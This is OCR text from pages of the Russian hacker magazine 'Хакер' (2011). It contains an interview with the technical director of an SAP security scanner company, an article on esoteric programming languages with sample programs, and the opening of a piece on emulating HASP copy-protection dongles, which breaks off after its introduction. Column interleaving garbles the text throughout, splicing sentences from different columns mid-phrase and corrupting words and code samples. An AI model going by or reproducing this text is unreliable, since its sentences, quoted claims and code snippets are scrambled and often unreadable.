потратилиоченьмного времени. Меняпугало

ПОЛУЧЕННОГО ОБРАЗОВАНИЯ?

не напрягаясь. Напрягаться в итоге все равно

полное отсутствие предложений на рынке при

приходится, но своеобразный опыт я получил . По

очевидной необходимости данного решения. Ну не

На самом деле, у нас в универе действи­

времени это, конечно, адский труд: с ужасом

можетбыть такого, чтобы никто не сделал и не

тельно много чему учат, хотя тогда

вспоминаю, как вселетотратил на это по 10 часов в

делает до сих пор ничего подобного . Где подвох?

день. Короче, даже вспоминать не хочется:] .

Собственно, пребывая в этих раздумьях, мы и дали

казалось, что половина из этого- бесполезно.

фору нашемуосновному конкуренту, а потом и еще

Спасиботем немнагим преподавателям, таким

r.1

одной компании, которыевыпустилипродукт

привитьлюбовь к предмету. Так чтотеоретиче­

НА ТВОЙ ВЗГЛЯД, МОГУТ ЛИ ТРИ ra;.l ТАЛАНТЛИВЫХСТУДЕНТАСДЕЛАТЬВ

ская база Политеха очень мощная, и сотрудников

РОССИИБИЗНЕСВОБЛАСТИИБ?ИЛИБЕЗ

щих продуктов мы благополучно догнали, а где-то

в компанию предпочитаю набирать оттуда -они

ЛИЦЕНЗИЙ, БУМАЖЕК И ГЕНЕРАЛАФСБ В

и перегнал и, а второй-это, собственно, не что

на уровень выше других претендентов. А на

РУКОВОДСТВЕНИЧЕГО НЕ СВЕТИТ?

иное какдесять модулей суязаимастями подSАР в

как Платонов и Семьянов, которые пытались

немногораньше.Носейчасодинизконкурирую­

графическом интерфейсе. Даже у нашей

работе меня учил Вейдер, он любил говорить: «Штукирко, если ты не зОхекаешь этот сервер, я

Я думаю, что возможно все, другоедело­

бесплатнойутилитысейчас порядкасорока

тебе руку сломаю>>,- воттак и учил.

какой ценой. Ну и смотря как выеокоты

модулей :1.

хочешьзалезть [хотя тут делоуже не «в области

r.1

РАССКАЖИ, ЧЕМ ТЫ ЗАНИМАЕШЬСЯ И

ra;.l ЧТО ТЕБЕ ИНТЕРЕСНО БОЛЬШЕ ВСЕГО

ИБ», а «в России»] . Но этотбизнесдовольно

РАССКАЖИ НЕМНОГО О КОНКУРЕНТАХ,

сложныйдажедля средней компании.

ЧТОЭТО ЗА КОМПАНИИ?

r.1

Основнойконкурент-этоаргентинская

В ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ . КТО ЧАЩЕ ВСЕГО ЯВЛЯЕТСЯ ВАШИМИ

Последнеевремясфераинтересоввсе

ra;.l КЛИЕНТАМИ? С КАКИМИ ЗАДАЧАМИ К

больше расширяется, в нее входятидругие

ВАМ ОБЫЧНО ОБРАЩАЮТСЯ?

областитипауправления проектами, маркетинга,

компания

Onapsisc продуктом Х1 . Но

напрямую сравнивать наши продукты все-таки нельзя: у них он предназначен в основном для

саморазвития и прочего. В области ИБ мое

Клиенты -в основном крупный бизнес.

пентестеров и консультантов, позволяет

вниманиепривлекаютсложныебизнес­

Задачипрактическиизвсехвозможных

эксплуатировать уязвимости. Мы же изначально

приложенияилисистемы,вкоторыхденьгилежа~

областей, они собственно описаны в разделеуслуг

ориентиравались больше на систему мониторинга

Ну или хотя бы нефть переливается. А также

на нашем сайте: аудит защищенности, тесты на

и соответствие стандартам, нежели натулзу для

маппинг программныхуязвимастей на бизнес­

проникновение, сертификация, а также анализ

пентестеров . Поэтомунаш продуктболее развите

риски [например, как утащить цистерну нефти,

отдельных приложений. Наиболее интересное из

области многопользовательского доступа,

хакнув систему контроля]. Если болеетехнически,

тех направлений, которые мы в последние годы

управления сканированиями и категоризацией

то мне нравится тема поиска уязвимастей и

всесторонне развиваем, -анализ защищенности

проектов . Мы меньше ориентированы на

комплексного аудита защищенности сложных

бизнес-приложений или отдельных ключевых

тестирование черным ящиком, хотя сейчас

систем. В уязвимастях фанатею от бизнес-логики

элементоввИТ-структуре компании. Это системы

конкурируем и в этой области, добавив в недавнем

вроде обхода авторизацииинестандартных багов.

ДБО и АБС, платежные шлюзы, платформы

релизефункционаланонимногосканирования

Наверное поэтому люблю сложные системы, в них

виртуализации, промышленные системы и,

[пентеста], которым оченьудобно пользоваться

больше вероятность встретить необычные ошибки

естественно, ERP [в частности SAP].

при проведении аудитов SAP для выполнения

рутинныхзадач [в чем мы личноубедились на

или векторы, требующие реализации связки различныхуязвимостей. Если говорить о том, что, наоборот, не мое, то это наверно реверси н г, ну и

ЗПД конечно же:].

ТВОЯ ДОЛЖНОСТЬ НАЗЫВАЕТСЯ

одном из аудитов].

<<ТЕХНИЧЕСКИЙ ДИРЕКТОР». А ЧЕМ КОНКРЕТНО ТЫ ЗАНИМАЕШЬСЯ?

СКОЛЬКОЧЕЛОВЕКЗАНИМАЕТСЯ ПРОЕКТОМ ERPSCAN И НЕПОСРЕД­

ПОЧЕМУ ТЫ СТАЛ ЗАНИМАТЬСЯ

АУДИТОМ ORACLE?

Прежде всего я полностью отвечаю за

СТВЕННО ЕГО РАЗРАБОТКОЙ?

развитие нашего продукта-сканера

безопасности SAP ERPScan . Я курирую практиче­

Этот вопрос выходит за рамки NDA. Ну а на

В ходе работ по тестам на проникновение и

ски все, что связано с продуктом, кроме продаж:

самом деле людей постоянно не хватает,

внутреннемуаудитучасто встречался

исследования, разработка, сопровождение,

так что милости просим, раздел вакансий всегда

пресэйлз, а также маркетинг/пиар на запад .

открыт. Даже если конкретной вакансии нет на

Оракл. Я осознавал недостаток информации по

сайт~пустьэтоваснеостанавливае~

данной системе среди наших экспертов и решил изучить нишу глубже, тем более что кэтому

КАК ТЫ И ТВОИ КОЛЛЕГИ ПРИШЛИ К

времени мои прошлыеувлечения [например,

РАЗРАБОТКЕ ПОДОБНОГО ПРОДУКТА?

Wi-Fi, по которому я писал диплом] не сулили

Рисерчеры, аналитики, тестеры -все нужны. Мы вообще постоянно в поиске новых исследовате­

лей, аналитиков и пентестеров. Но, честно

развития, а другая моя любовь-wеЬ­

После написания книги про Оракл мне

говоря, большой процент людей, приходящих на

уязвимости-стала уж слишком попсовой :].

захотелось чего-то более неизведанного и

собеседования, меня очень огорчает. Толковые

сложного . Варианта былодва-SАР и АСУ-ТП

люди попадаются, но зто редкость [хотя,

МЫ ЗНАЕМ, ЧТО ТЫ ДАЖЕ НАПИСАЛ

[SCADA]. В то время ни тем, ни другим в России не

казалось бы, сейчас, с такой огромной базой

КНИГУПОАУДИТУОRАСLЕ.ЗАЧЕМ?

занимался никто, да и в мире в целом было немного

информации по нашей теме в интернете, проблем

специалистов. При этом SAP реально встречался

возникать не должно вообще]. Но часто люди

на аудитах, так что SCADA я решил оставить на

очень слабо себя показывают на собеседовани­

Ну, помимо того, чтохотелосьсделать вклад в

потом. Ну и, собственно, проникнув втемуSАР

ях, зато потом прямо взрываются идеями и

российскую литературу по ИБ, да и вообще

более глубоко, осознал, что есть незанятая ниша в

конкретными делами. Такоетоже бывает.

М НОГОЛИ НА ЭТОУШЛО ВРЕМЕ Н И?

принести хоть какую-то пользу людям, этобыло

области этого продукта. Основной задачей было

своеобразное испытание себя. Решил поставить

понять, что он будет представлять из себя, и в

КАК К ВАШЕМУ ПРОЕКТУ ОТНОСЯТСЯ

цель идабиться ее. С практическойточки зрения-

каком виде нужен обществу. На эти вопросы мы

РАЗРАБОТЧИКИ SAP'A?

В ЯНВАРЕ 2008 ГОДА САША ПОЛЯКОВ НАПИСАЛ СВОЮ ПЕРВУЮ СТАТЬЮ В ХАКЕРЕ «ГРУБЫЕ ОПЫТЫ НАД ORACLE»

100

ХАКЕР

11/154/2011


Разработчики

SAP,

я думаю, вообще живут

в танке. Ну а Pгoduct Secuгity

Response

:1.

Нуконечнонекучастран,всегонаверное

Конечно, массовость события дает о себе знать:

около 25, но этой темой я заболел, так что

что все надо попробовать хотя бы раз в жизни если нет знакомых, то будет довольно скучно

скоро надеюсьдогнать Артемия Лебедева. В целом

nроявляют интерес. Причем не только к сканеру,

среди десятитысяч людей, как бы странно это не

на отдыхлюблю ездить в Азию и внепопулярные

но и ко множествубесплатных утилит, которые

казалось. На блекхате никто не возится с

направления, ибо в популярныетак или иначе

мы выпускаем

докладчиками как с детьми, не устраивает им

попадаю по работе. Европу не очень люблю, там все

специальныхужинов,вечеринокиэкскурсий.

слишком как-то правильно что ли, хотя Барселона,

ЕСТЬ ЛИ У ВАС КАКОЕ-ТО ОБЩЕНИЕ С

Там все предоставлены сами себе. Успел

Лондон и Амстердам-это места, в которых стоит

SAP, КАК ОНИ ВАС ВООБЩЕ ВОСПРИ­

отхватить флаер на вечеринку от

Team,

r.1 11:;.1

с которой мы nостоянно сотрудничаем,

НИМАЮТ?

Rapid7- моло­

самым необходимым и просто колеситьбез

того круче: там бывает и на доклад не пустят,

определенной цели и места ночлега . Безумно

Общение вполне партнерское. Мы не

опоздай ты на минуту, ибо залы переполнены, и

только находим баги, но и помогаем

мест постоянно не хватает. Это тебе не шутки:

правильно их закрыть, а также консультируем по

побывать. В Азии люблю брать мотоцикл, рюкзак с

дец, не успел- сиди дома:] . Хотя на дефконе и

15

000 человек на 5 залов:].

крутые и дикие места есть на севере Бал и: вулканы, озера идикие пляжи, населенныетолько

обезьянами, которые занимаются всяким, не стесняясь никого. Очень красивые места на

вопросам безопасности в целом, ежегодно

r.1

встречаемсялично.Покаофициального

С КЕМ ИЗ ИЗВЕСТНЫХ В ОБЛАСТИ ИБ

партнерского статуса нет, ибо компания

11:;.1 ЛЮДЕЙ УДАЛОСЬ ПОЗНАКОМИТЬСЯ НА

крупная, и все очень не просто. К сожалению, в их

ТАКИХ МЕРОПРИЯТИЯХ?

островах в Таиланде. Полнейшая отрешенность от

остального мира. В этом году надеюсь посетить наконец Камбоджу и Лаос, о чем мечтал последние

три года, но никак не мог доехать. На этом с Азией

глобальной экасистеме просто неттакого рода

партнеров. Хотя количество компаний, которые

Слушай, ну известность-это дело такое,

я, наверное, сделаю паузу и переключусь на

ищутуязвимости и получаютотSАРофициаль­

звезды меняются:]. Да и в разных

ЛатинскуюАмерику или Океанию. Везде

ные благодарности, растет, на постоянной

областях-свои кумиры. Кому-то Гроссман- гуру,

занимаюсь каким-нибудьэкстремальным видом

основе этим занимаются только три компании.

кому-то НDМооге, а кому-то Митник. Я себе особой

спорта : на Бал и, естественно, серфинг, в

цели с кем-то познакомиться не ставил. Но

Сингапуре-вейкборд,вТайланде-стантрай­

решили немного припугнуть народ, объявив,

недавнооказалсянаоднойконфесВичфилдом

динг, во Вьетнаме-кайт, а в Индии достаточно

что на предстоящей конференции

Диффи. Я сначала даже и не понял, кто он, и только

просто поездить на поездах третьего класса:]. :х:

Чтобы активизировать общение, мы недавно

BlackHat мы

по кажем Оdау-уязвимость, которой подвержена

потом до меня дошло. Вотэто реально звезда. Н уа

половина торчащихвинтернет SАР-систем.

из простоголюда я наконец вживую познакомился

Клиенты

практически со всеми Огасlе-гурутипа Корнбруста

SAP перепугались, начали звонить в

SAP и просить помощи. Зато уязвимость была

иЛичфилда, подарил им по копии своей книжки.

закрыта за пару недель, хотя до этого четыре

Часто встречал Де на Камински, но знакомиться с

месяца висела в Репdiпg-статусе.

ним было невозможно, он был постоянно в стельку.

r.1

В ПОСЛЕДНЕЕ ВРЕМЯ ТЫ ОЧЕНЬ МНОГОУЧАСТВУЕШЬ В КОНФЕРЕНЦИ­

ЯХ ПО ИБ . НЕ НАДОЕЛО?

ТЫ ПЫТАЕШЬСЯ КАК-ТО РАЗНООБРА-

11:;.1 ЗИТЬСВОИ ВЫСТУПЛЕНИЯ? БЫЛИ ЛИ КАКИЕ-ТО ПРИКОЛЫ ВО ВРЕМЯ ДОКЛАДОВ?

Это врядли надоест. Хотя, конечно,

Ну, я пару раз начинал свой доклад на

попадаются и довольно скучные события, но

русском и так продолжал пару минут, пока

на каждой конференцииестьмножество

у слушателей глаза не выросли, как тарелки. А

вариантовзанятьсебяипровестивремяспользой.

потом говорил <<Извините, забыл переключить

Во-первы~этоопытпредставлениядокладо~

раскладку» и продолжал уже по-английски .

который существенно отличается от выступлений

Народ оценил.

на родном языке. Во вторых, возможность

Неплохой был прикол с демонстрацией жи­

поучитьсяукрутыхдокладчиковихприемам.

вого взлома SАР-клиента. Я объявил, что сейчас

В-третьих-взглядсо стороны на чужие ошибки, а

взломаю первый попавшийся мне SАР-клиент,

в-четвертых- попадаются действительно

который найду в Гугле. Я зашел на

хорошие доклады, на чтение которых в виде

PDF

google.com,

вбил соответствующую строку для поиска

зачастую нет времени, да и эффект не тот. Ну и,

уязвимых сайтов и действительно поломал

конечно же, общение с интересными людьми,

первый попавшийся мне сайт :]. Впрочем,

посещение новых мест и прочее. Конференции­

выдача гугла была подстроена, а взламы­

это одно из немногих событий, где можно запросто

вался локальный сервер. Народ был в шоке:

совмещать приятное с полезным.

думали, что я реально ломанул кого-то в

интернете, говорили, что я сумасшедший ...

КАКОВЫ ТВОИ ВПЕЧАТЛЕНИЯ ОТ

Ну а что делать, блекхат- это блекхат,

СВЯТАЯ CBЯTЫX-DEFCON И

народ требует зрелищ! И к тому же, в тот

BLACKHAT, КОТОРЫЕ ПРОШЛИ В ВЕГАСЕ?

момент винтернетереально было полно

СТОИТ ЛИ ОНО ТОГО, ЧТОБЫ СТРЕМИТЬСЯ

уязвимых серверов, но американская

ТУДАСЪЕЗДИТЬ?

тюрьма меня не прельщала.

Безусловно, это те события, на которых стоит побывать хотя бы раз в жизни . Хотя я в принципе придерживаюсь той точки зрения,

ХАКЕР

11/154/2011

МЫ ЗНАЕМ, ЧТО ТЫ ПОБЫВАЛ В ЦЕЛОЙ КУЧЕ СТРАН. РАССКАЖИ О СВОИХ

ПУТЕШЕСТВИЯХ.


КОДИНГ

Виталий~ <<daredavil2014» Краечинскис ldeviiГc!softcom.lvl

глазами эзотериков ОБОЗРЕНИЕ ТЬЮРИНГОВСКОЙ ТРЯСИНЫ И МЕЧЕЛОВЕЧЕСКОЙ ЛОГИКИ Большинство программистов в поисках пути по уменьшению затрат на разработку ПО выбирают

самые удобные технологии и языки, наиболее приспособленные к решению конкретных задач. Но не все стремятся к комфорту: на любое упорядочение найдется стремление к хаосу. Как следстsие, обойтись без альтернативных подходов к кодингучеловечество не может.

Каждый программист, особенно на заре своей карьеры, потратил немало ночей для того, чтобы сделать что-то бесполезное, нецелесоо­

бразное, порой настолько грандиозное, что стоимость разработки это­

го была бы огромна. Но создавалось это не ради результата !который, скорее всего, будет уничтожен после завершения!. Люди тратят уйму времени только потому, что им нравится процесс, нравится трениро­ вать мозг или просто пытаться понять, как из ничего можно создать

многое. По т ой же причине люди модернизируют <<москвичи>> 70-х

годов, бегают н а ходулях и совер ш ают прочие действия без конечного результата, находя себе искусственную мотивацию.

В среде разработки языков программирования тоже всегда существовал дух соревнования и азарта. Он мотивировал созда­ вать изощренные конструкции и альтернативные п одходы и в итоге

• www.esolangs.org -

породил ц елый класс языков, не применимых для решения задач,

ресурс, с собственным wiki полностью посвящёенный

но имеющих какие-нибудь изюминки, из-за которых о них нел ь зя

эзотерическим языкам

• 4mhz , de/Ьfdey. html IDE для brainfuck 'a

просто забыть. Существует множество определений, что является эзотериче­

скими языками программирования !далее по тексту- ЭЯПI, однако слож н о считать их формальными, так как эти понятия достаточно

субъективные. Наиболее по п улярное о пр еделение ЭЯП- это языки, которые не имеют практического применения. Даже если кто-нибудь решит использовать Bгainfuck или "Нарисованная" nрограмма на языке

102

Piet про грамма.

FALSE на nрактике,

от этого эти языки не станут менее эзотеричными .

ХАКЕР

11/154/2011


Кодинг глазами эзотериков

Второе определение частного случая ЭЯП, которое называется

-это математическая абстракция, имеющая один вход, один выход

трясиной Тьюринга [Tuгiпg taг-pitl,- это языки, на которых можно

и в каждый момент времени находящаяся в одном состоянии. На

сделать все, но ничего интересного нельзя сделать просто. Под это

вход этому устройству подаются символы одного алфавита, н а

определение не подпадают языки с отсутствием Тьюринг-полноты,

выходе оно выдает символы другого алфавита, при этом алфавиты

поэтому его тоже нельзя считать п олноценным.

могут и совпа д а т ь. Из модели абстрактного автомата строятся мо­

дели ко н ечно г о ав т омата, автомата с магазинной памя т ью, маши н ы

БЕЗУМНЫЕ ИДЕИ

Тьюринга и другие преобразователи информации .

ЭВМ- относительно н едавнее изобретение, и математическая

При подобном описании алгоритма важно понима т ь, что данные

база для кибернетики как таковой еще в процессе формирова-

и функция перехода состояний- это принципиально независимые

ния. Основной вклад в развитие математического аппарата в его

единицы и на разных уровнях абстракций одно может перепиваться

текущем виде сделал известный математик и инженер Клод Эл вод

в другое.

Шеннон , перевернувший представление о дискретной математике.

В начале холодной войны разработки по дискретной матема­

Наглядно это можно наблюдать на примере компьютерной программы. Код и переменные- это две области памяти: сегмент

тике были настолько секретными, что строго контралиравались

данных и сегмент кода. Однако если рассматривать исполнение

спецслужбами и статей на эту тематику не издавалось. СССР знал

программы процессором, то получается, что он читает символы

о разработках США в этой сфере, но сами исследования Шеннона

из сегмента кода, а затем переходит в то или иное состояние для

и его соотечественников получить им не удалось, после чего было

обработки других символов из сегмента данных. Таким образом,

принято решение пройти весь путь самостоятельно, с чем величай­

рассматривая п роцессор как абстрактный ав т омат, мож н о понять,

шие умы 50-60-х годлв успешно справились. Развитие математики

что код программы и п еременные для процессара являю т ся о д и н а­

на базе функций алгебры логики, а также ввод понятия ав т омата и

ковым входным алфавитом.

лямбда-функции привело к созданию таких дисциплин, как <<Теория

Достаточно важным моментом теории алгоритмов являются

автоматов>>, << Формальные грамматики >>, и множества новых раз­

лямбда-исчисления. Данное понятие было введено для формали­

делов физики.

зации понятия вычисляемости. В контексте языков программи­

Нынче многие прогрессивные вузы стали выносить теорию автоматов и формальные грамматики из дискретной математики в

рования функция является лишь указателемнанекоторый н абор команд, в то время как в математике функция - это понятие,

отдельную дисциплину, практическое применение которой понять

которое осуществляет связь между элементами множества. Иными

весьма сложно, особенно если ты не гик .

словами, если мы говорим что

Обычно при изучении именно этого раздела информатики

F[al = Ь, в математике мы имеем в

виду, что существуют некие множества, в которых элементу <<а>>

молодые люди, по тем или иным причина м, начинают углубляться

соответствует элемент <<Ь>> . В программировании же мы говорим о

в построение бессмысленных, н о невероятно красивых систем. К

!ом, что существует ряд команд, и для их исполне н ия мы передаем

примеру, на машине Тьюринга можно реализовать любой мыслимый

значение <<а>>, что отнюдь н е означает, что в любое время

алгоритм, и это весьма просто строго доказать. Правда, п ракти­

Оно может быть равно в данный момент, а завтра не быть равным.

ческого применения на данный момент у машины нет, но разве это

F[a J= Ь.

Лямбда-функция является скорее математической функцией, чем набором команд, и выражается не набором действий, а неким

может остановить пытливые умы?

выражением, чаще рекурсивным.

НЕМНОГО МАТЕМАТИКИ

В лямбда-исчислении принято следующее обозначение:

а >>

или

автоматов. Как известно из курса дискретной математики, автомат

как алгоритм, примененный к значению, а с другой стороны как

BRAINFUCK

MALBOLGE

Пожалуй, самый по п улярный эзотерический язык на сегодняшний день.

Одним из немногих языков, целью которого было максималь-

<<f. a>>,

что соответсвует

<<f

Для понимания методов создания алгоритма нужны основы теории

F[al,

однако трактуется с одной стороны

Он основан на том , что каждая команда- это один символ. Команды

но усложнить сам процесс написания программы, стал язык

оперируют непосредственно модификацией памяти, благодаря чему

Malbolge,

существует огромное количество дискуссий на тему его применения в

Данте.

реальной жизни. Существуют идеи применения, начиная от внедрения

который получил свое название от восьмого круга ада

Код первой программы на этом языке, выводящий

<<hello

кода и интерпретатора для защиты от обратной инженерии и заканчи­

woгld>>, сгенерировала другая программа лишь спустя два года

вая возможностью непосредственно управлением памяти с помощью

после написания самого языка.

макросов, написанных на Bгaiпfuck'e. Однако же на практике всегда есть

В

2004

г. был написан генератор программ, выводящий за­

более подходящие аналоги для решения подобных задач. Кроме, на ­

данные строки, однако программы, созданные этим генератором,

верное, экспериментов по генетическому программированию, которым

получаются длиннее, чем программы, на п иса нн ые человеком,

BF идеально

извес тн ым как Aпthony

подходит из-за пр астаты синтаксиса и, соответственно,

Youhas.

Ос н овной и д еей языка является самомо д ифици р ую щ ийся ко д ,

простоты генера ц ии кода.

Основываясь на структуре языка bгa i пf u ck, было создано немало

а также безум н ые математические преобразования. Боюсь, что

языков, именуемые Ьгаiпfuсk-образными. Их объединяет максимально­

если описывать весь подход к написанию программы на данном

сокращенный синтаксис, например, язык коров

[Cowl, язык орангутангов

IOwk, о котором мы уже как-то писали!. Во всех прослеживаются идеи

языке, получится не статья, а книга[, и возможно, в нескольких томах!, nоэтому я всего лишь приведу код программы

<<hello woгld>>:

машины Тьюринга, однако не всегда возможно переписать программу с одного языка на другой лишь синтаксически.

++++++++++[>+++++++>++++++++++ >+++>+<<<<-]>++ .>+. +++++++ .. +++.>++.<<+++++++++++++++.>.+++. ------.---- - - - -.>+ . >.

ХАКЕР

11 /154/2 011

( =<. : 9876Z432 1UT. - Q+* )М' &%$ Н" !-} 1 Bzy?= 1 {z ) Kw ZY44E q0/{mlk** hKs_dG5[ m_ BA{? - Y;;Vb'rR543 1M}/. zHGwE DCBA@98\6543W10/.R,+0<

103


КОДИНГ

процесс вычисления

<<f»

с использованием значения <<а» . Послед­

няя формулировка связана с наиболее используемым в лямбда­

исчислении понятием <<Ь-редукция» [курс формальных грамматик!.

INTERCAL

Вспомним первую теорему Шеннона о разложении функции ал­

гебры логики [далее ФАЛ, или булева функция!, которая звучит так: Старейший, а может быть, и первый эзотерический язык про­

для любого ФАЛ, отличного от константы:

граммирования. Он создан в

F(x1,x2, ... ,хп): F(x1,x2, ... ,хп) v!x*F(0,x2, ... ,хп).

=

x1*F(1,x2, ... ,хп)

1972

году, то есть примерно тогда же,

когда Си [без плюсов!. Этот Тьюринг-полный язык- пародия на существующие в то время нормальные языки программирования,

обладающая помимо ряда кошмарныхинетривиальных опера-

Из нее можно легко понять [и соответственно вывести остальные

ций целой кучей невероятно приятных операторов вроде

PLEASE

теоремы Шеннона для разложения ФАЛI, что, если мы можем реализо­

[ПОЖАЛУЙСТА!, FORGET [ЗАБУДЬ! или ABSTA IN [ВОЗДЕРЖИСЬ!.

вать на данном языке функции

Позтому не стоит удивляться, если в исходникахна этом языке <<с

*,v,!

[ конъю нкцию, дизъюнкцию и отри­

цания!, мы можем так же реализовать любую вычисляемую функцию,

непроизносимой абревиатуроЙ » ты обнаружишь конструкцию вроде

а значит, и написать любой мыслимый алгоритм. Языки, на которых

PLEASE ABSTAIN FROM CALCULATING [ПОЖАЛУЙСТА ВОЗДЕРЖИСЬ

можно реализовать любой мыслимый алгоритм [вне зависимости от

ОТ ВЫЧИСЛЕНИЙ!.

сложности реализации! называется <<Тьюрин г полный>>. Утверждение можно сформулировать и более жестко: если мы можем реализовать

Штрих Шеффера [НЕ Иl, то можем реализовать и любую вычисляемую функцию. Доказательство данных утверждений я позволю себе опу­ стить: те, кому интересно, смогут найти их в учебниках. Но стоит помнить о маленьком нюансе- то, что нечто возможно,

вовсе не означает, что сделать это просто . На практике: более чем возможно вырыть траншею с помощью чайной ложки, но зто вовсе не значит, что это тривиальная задача.

ДИАГНОЗ По любому из эзотерических языков можно написать множе­

ство научны х трудов, изучать их можно бесконечно, а для созда­ ния серьезных средств разработки может пенадобиться не один десяток лет. Но все эти решения никогда не смогут конкурировать с настоящими языками, которые создавались для решения практи­

ческих задач, и эзотерические языки навсегда останутся просто

DO ,1 <- #13 PLEASE DO ,1 SUB #1 <- #238 DO ,1 SUB #2 <- #108 DO ,1 SUB #3 <- #112 DO ,1 SUB #4 <- #0 DO ,1 SUB #5 <- #64 DO ,1 SUB #б <- #194 DO ,1 SUB #7 <- #48 PLEASE DO ,1 SUB #8 <- #22 DO ,1 SUB #9 <- #248 DO ,1 SUB #10 <- #168 DO ,1 SUB #11 <- #24 DO ,1 SUB #12 <- #16 DO ,1 SUB #13 <- #162 PLEASE READ OUT ,1 PLEASE GIVE UP

развлечением.

Регулярно проводятся олимпиады и конкурсы по решению тех

или иных задач с использованием определенных технологий, но главная причина подобных мероприятий- определить и сравнить не знание людей, а их таланты и способности. Подобные задачи

SHAKESPEARE

уравнивают шансы между опытными программистами и начинаю­

щими , но талантливыми, что, безусловно, вносит дополнительный азарт в дух соревнований.

Таким образом, становится ясно, что причины для разработки подобных языков всегда будут существовать, но цели всегда будут оставаться спорными.

I

Язык программирования << Шекспир >> призван замаскировать ис­

ходный код программы под пьесы Шекспира. Список персенажей программы служит для определения стека. Герои, общаясь друг с

другом, совершают операции ввода/вывода, их вопросы являются аналогами условного перехода .

Прежде чем персенажи смогут использоваться, они должны вый­

ти на сцену оператором Епtег, после чего они должны уйти со сцены оператором

Exit.

В целом структура языка схожа с языком ассем­

блера, однако программа получается гораздо длиннее и вариантов написания алгоритма бесконечное множество . Вот как зто может выглядеть:

[Eпter Hamlet апd Romeo] Hamlet: You lyiпg stupid fatherless big smelly half-witted coward! You are as stupid as the differeпce betweeп а haпdsome rich brave hero апd thyself! Speak your miпd! Языков такого типа достаточно много, некоторые маскируют код

под рецепты, а некоторые [например,

Wh itespacel

используют только

пробелы и табуляцию. Кстати, таким образом в один текст можно встроить несколько программ на разных языках. Все зто, безусловно, дает огромное поле для фантазии по применению таких подходов на

IDE для разработки программ на brainfuck'e, " Brainfuck Developer"

10~

практике.

ХАКЕР

11/154/2011


Кодинг глазами эзотериков

HQ9++ Некоторые ЭЯП являются исключительно <<шутливыми языками>>, само создание которых было своего рода шуткой, например, язык

На9+ . Этот язык не является полным по Тьюринг у, и в нем есть только 4 команды, собственно, как следует из названия, это Н, а. 9 и+ . Шутка юмора заключается в том , что первую программу hello Пример программы для архитектуры

URISC, с командой SUBLEQ

woгld, которую пиш ут все, начиная изучать новый язык , не всегда

просто написать. Например, в ассемблере это может быть весьма нетривиальная задача. В этом же языке команды означают следую­ щее:

VAR'AQ

Команда Н собственно выводить надпись << Hello woгld>>. Команда а вывод исходный КОД самой программы. Команда 9 выводит слова стихотворения <<99 бутылок лежало на

Известно, что многие программисты любят Staг tгack [вспомнить хотя

стене».

бы тот же ситком Big Bang Тhеогу.- При м. редактора!, поэтому нельзя

А команда+ увеличивает на единицу счетчик, который, nравда ,

игнорировать языкиснечеловеческой логикой, например, язык Vaг'aq,

нигде более использовать нельзя, nотому что команд больше нет.

основанный на логике Клин гонов. Он был создан Брайеном Коннорсом

и Крисом Прессей в

2000 году.

В нем nрисутствуют стандартные тиnы

данных, как и в обычных языках: числа, строки, списки и функции. Язык основывается на Po5t5cгipte, и в нем есть элементы Li5p'a,

Язык На9++, известный также как << На9+ с Классами>>, является обьектно-ориентированной версией , созданнай Девидом Морган­

Марам [David Moгgan-maгl. В ней добавлена новая команда,++, которая увеличивает счетчик два раза и создае т объект. В соответ­

однако, в отличие от привычных английских корней, все команды там

ствии с принципом сокрытия информации, доступ к этому объекту

исключительно Клингонские, включая форму записи цифр.

невозможен.

Ниже приведе н кусок программы, которая считает числа фибоначи.

Кроме того, существует язык На9±, в котором по сравнению с На9н добавлен оператор·-· для проверки правильнести програм­

А В

(*

boq

latlh cha' В

"А"

cher

Посчитать сумму А и В

(* (* (*

Распечатать число

Сохранить А в В

мы. Результатыпроверки зависят от местонахождения оператора.

*)

продублировать результат

*)

*)

*)

Подобны х языков, в том числе русских вариантов этого языка, было создано очень много, но говорить о практическом применении данных команд не приходится .

BEFUNG

UNLAMBDA

Существует такой вид языков как фунгеоидные . Это многомерные

Unlambda является минимизированным функциональным языком,

языки, в которых структура программы не является линейной. Они

основанным на лямбда-исчислении, в котором существуют лишь

достаточно часто не являются Тьюринг-полными , однако в них могут

семь операторов. Основные операторы: 5, k и·- делают его полным

реализовываться принциnиально иные способы построения про­

по Тьюрингу. В привычном понимании все функции языка принимают

грамм, а сами они помогают развить абстрактное мышление.

лишь по одному аргументу, однако на практике они nрименяют так

Самым известным языком этого типа является befunge.

называемый подход карринга . Карринг-это метод преобразования

Целью его создания, по утверждению автора, была разработка

функции от двух аргументов таким образом, чтобы функция принима­

языка, максимально сложного для компиляции. Синтаксис достаточ­

ла аргументы по одному. Если у на с есть функция F [x,yl, то мы можем

но сложный, поэтому я не буду приводить его весь, скажу только, что

представить, что Fl xl -

принциnиально он схож с bгainfuck, однако помимо команд << двигать­

Таким образом, мы можем применить функцию F[xl к <<у» и избавить­

ся вправо и влево» есть еще команды <<двигаться вниз и вверх», что

ся от необходимости функции от двух аргументов [главное- пом­

делает его полноценно дв ухмерным языком.

нить, что функция возвращает не значение, а другую функцию!.

Следующий код реализует бесконечный цикл, что можно понять

это не значение, а тоже некоторая функция.

Основой языка является аппликатор<<'>>, который означает, что

необходимо применить следующую за ним функцию.

дажепоеговнешнемувид~

Функция<<.>> выводит символ на экран и н уж на только для при­ дания языку хотя бы небольшага практического значения.

Функция «i>> возвращает следующее за ней значение, например

ix вернет х. А вот так выглядит

<<he llo woг ld » :

Эти три функции, казалось бы, абсолютно бесполезны, однако самое интересное впереди.

<< hel1o wor1d >> Befunge-93

на двумерном,

не Тьюринг-полном языке

Функция <<k>> принимает два аргумента [методом каррингаl и воз­ вращает первый.

Последняя функция <<5>>. У нее уже три аргумента. В итоге функ­

v

v ~"""""Hello"< >48*, v vJJJJJJ"World!"< >25*,@

ХАКЕР

11/154/2011

ция

«'''sxyz»

применяет функцию «Х» к «Z», затем «у» к «Z», а потом

применяет полученные в итоге функции друг к др угу.

· r " " · " " " . Н. е .1.1. о. . w. о. r .1. di

105


КОДИНГ

Даниил Бершацкий

lbepshatskylagmail.coml

ЭМУЛИРУЕМ КЛЮЧ

АППАРАТНОЙ ЗАЩИТЫ

HASP

В этой статье описаны способы обхода аппаратных систем защиты. В качестве примера рассмотрена

технология

HASP [Нагdwаге Against Softwaгe Рiгасу), разработанная компанией Aladdin Knowledge Systems Ltd . В прошлом данная технология являлась одной из

самых популярных аппаратных систем защиты ПО.

ВЗГЛЯНЕМ Утрируя, можно сказать, что

HASP состоит из двух частей: аппарат­

